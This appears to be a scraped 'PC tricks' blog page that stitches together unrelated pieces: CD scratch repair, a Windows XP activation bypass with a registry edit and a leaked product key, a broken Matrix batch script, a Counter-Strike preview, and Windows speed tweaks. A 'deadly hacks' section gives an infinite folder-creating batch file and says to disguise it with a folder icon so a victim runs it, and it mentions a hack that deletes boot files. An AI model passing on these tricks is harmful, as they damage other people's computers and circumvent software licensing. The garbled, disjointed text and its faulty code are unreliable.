Tips to recover scratched CD's


1. Spread a cloth on a flat surface and place the CD on it. 
2. Then, hold the disc with one hand, use the other to wipe the polish into the affected area with a soft cloth. 
3. Wait for it to dry and buff using short, brisk strokes along the scratch, not across it. 
4. A cloth sold to wipe spectacles or camera lenses will work super m8's. 
5. When you can no longersee the scratch,, wash the disc with water and let it dry before playing. Intersting isnt it? Try it right now
I have used toothpaste with good effects before Ive also used car paint cutting compound on deeper scratches. It does leave lots of smaller scratches (as it is a cutting compound after all) but it will remove the worst scratches in most cases.
ya u r going to be surely befinited by this Operation.

This will allow you to bypass the Microsoft Genuine Validation thingythis method works better than many others i've tried before.
forget the cracks and injectors etc... this is the BEST WAY:
1) start > run > "regedit" (without the quotes of course)
2) go to the key:HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows NT\CurrentVersion\WPAEvents\OOBETimer...and doubleclick on it.
Then change some of the value data to ANYTHING ELSE...delete some, add some letters, I don't care...just change it!now close out regedit.
3) go to start > run > "%systemroot%\system32\oobe\msoobe.exe /a" (again, dont type the quotes)
4) the activation screen will come up, click on register over telephone, then click on CHANGE PRODUCT KEY, enter in this key: JG28K-H9Q7X-BH6W4-3PDCQ-6XBFJ.
Now you can dl all the updates without activating,
and the Genuine Microsoft Validation thingy won't bug you no more!!
Works with most WinXP versions though ther r some exceptions...

Matrix Coding


Trick that I’m gonna show you is to create similar to the Coded-Screen From the movie Matrix!! The screen where random numbers appear in the movie and a techie sits right in front of the computer and guides “Neo” through all troubles.

Lets try to create a similar screen just by using a notepad.Just Copy paste the following code into your Notepad and save the file as Matrix.bat.”Matrix” is not necessary, you can save it with whatever name you wish but its important that you save it with .bat extension.
Here’s the code.
****************************
@echo off
color 02es
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start
****************************
This is nothing but usage of few simple notepad commands to create out Matrix screen.Let us understand what these commands do and how they function in brief.
Echo - Echos the screen.
Color – Displays the text content in the color that you mentioned.
:- This is similar to the “go-to” marker in C-Language. (Not a problem if you’re not experienced with C-Language. Just thought you should know)
%random – This prints a random number on the screen.
goto – this points that the function must be passed to “start” again to make it an indefinite loop.
Your screen must look something like this.


Most Awaited New Counter Strike : Global Offensive Preview


Counter Strike Global Offensive is one of the most awaited games of 2012. Counter-Strike, the name itself evokes images of gamers huddled over their PC’s with headsets, barking orders to each other and frantically clicking, their eyes never leaving the monitor screen. It essentially defines multiplayer games. Go to a gaming cafe and you’re sure to find Counter-Strike, if not any other multiplayer games. Counter-Srike started off as a mod for Half-Life back in June 1999. It was developed by Minh Le and Jess Cliffe. The gaming community reacted extremely positively to it and it caught Valve Corporation’s eye, the developer of the Half-Life series. Pretty soon, Valve and the developers of the Counter-Strike mod teamed up and Counter-Strike was released as a stand alone game in a multiplayer games pack in November 2000. Again it proved hugely popular and the vast Counter-Strike multiplayer community expanded exponentially. Valve kept releasing updates and the game began to be included in tournaments and in a year or so became a mainstay of the multiplayer gaming community. Prizes for these tournament were in tens of thousands of dollars and Counter-Strike became a brand.

Evolution of Counter-Strike:


Two teams battle against each other in maps to complete an objective depending on the game type. A time limit is usually imposed as well. The teams are Terrorist and Counter Terrorist. In the classic deathmatch mode, the first team to eliminate all of the opposing team members wins. Another mode is when the Terrorist team aims to plant a bomb at a certain point of the map and let it explode to win the game, whereas Counter Terrorists win by defusing the bomb or killing all opposing team members if the bomb is not planted. Though Counter-Strike started off as a mod, the standalone game also has a large community that develops new maps, skins etc.

global offensive counter strike

After a gap of over 7 years, a sequel to this hugely popular series has been announced and slated for an early 2012 release. Titled Counter-Strike: Global Offensive, it promises to deliver a long overdue proper addition to the Counter-Strike series which the large community will love. Also, it is the first cross-platform Counter-Strike game. It will be available on PC/Mac, PlayStation 3 and Xbox 360. Players using PC/Mac and PlayStation 3 can play against or with each other online. Global Offensive aims to be an evolution of the much loved original game, rather than a revolution like Counter-Strike: Source was.

Counter-Strike: Global Offensive features new game modes, weapons, maps, and characters. Along with new maps, classic maps like de_dust will be updated. A brand new mode is going to be added, called casual mode. In it, players can buy weapons each round for free, voice chat is available cross team and everyone can spectate everyone else. It’s mainly focused on newer and casual players, as the name suggests. Competitive mode is the mode most Counter-Strike players have been playing all these years, it includes round time limit, no spectating, no cross team chat and of course, limited money to buy and upgrade weapons.

This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.So please, use this hack only if you have no intention of rebooting your computer again. So just be careful.

Deadly and Painful Hacks That You Should Never Try on Your PC


If you are not a computer professional, don’t read this, even if you do. Don’t ever try this on any of your computers. Trying any of these are really painful and will take you a lot of time to recover.If you got somebody really irritating in your life and stalking you every once in a while then this is the right post for you.

Create more than 3,000 folders under a minute.

Step 1) Open your notepad and type the following code.

@echo off
:top
md %random%
goto top


Step 2) Save it as 1000.bat
@echo off makes your screen appear blank but it is actually making hundreds of folders.
md %random% is command that creating folders with random names.( md is a command to make directory in ms-dos)
goto top – return the command to :top, causes an infinite loop.
Now this might look a little suspicious to your victims. Lets make it more funny so that your victim can fall into your trap easily.Create a shortcut for the created batch-file and change its icon to a folder icon and make it look unsuspicious.

To pop a banner which can contain any message you want to display just before a user is going to log on, go to the key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WinLogon
 
 Now create a new string Value in the right pane named LegalNoticeCaption and enter the value that you want to see in the Menu Bar.
Now create yet another new string value and name it:
   LegalNoticeText
Modify it and insert the message you want to display each time Windows boots. This can be effectively used to display the company's private policy each time the user logs on to his NT box.

Some Tips to Your System faster


1.Boot Faster: The 'starting Windows 98/XP' message on startup can delay your booting for a couple of seconds.  To get rid of this message go to c:\ and find the file Msdos.sys.  Remove the Read-Only option.  Next, open it in Notepad or any other text editor.  Finally, go to the text 'Options' within the file and make the following changes: Add BootDelay=0.  To make your booting even faster, set add Logo=0 to remove the Windows

logo at startup.

2.Restart only Windows: When restarting your PC, hold down Shift to only restart Windows rather than the whole system which will only take a fraction of the time. Follow these tips and you will definitely have a much faster and more reliable PC!
3.Faster Start-Menu Access: Go to the Start menu and select Run.  Now type Regedit and hit Enter.  The Registry Editor-will appear on the screen.  Now, open the folder HKEY_CURRENT_USER\Control Panel\Desktop.  You should see a MenuShowDelay value.  If you don't then do the following: right click on a blank space in the right pane and select New\String.  Change the name in the new value to MenuShowDelay.  Now that we have the MenuShowDelay value, double click on it and enter 0 in the value data field.  This sets the start menu delay to 0 milliseconds.

4.Faster Internet Access: If you use the internet

for reference and the sites you visit are rarely  updated then try the following.  In IE (the same can be done in Netscape) go to Tools, Internet Options.  Next, click on Settings... in the Temporary Internet Files  section.  Finally, select Never for the first option and double the amount of storage space to use, click OK!
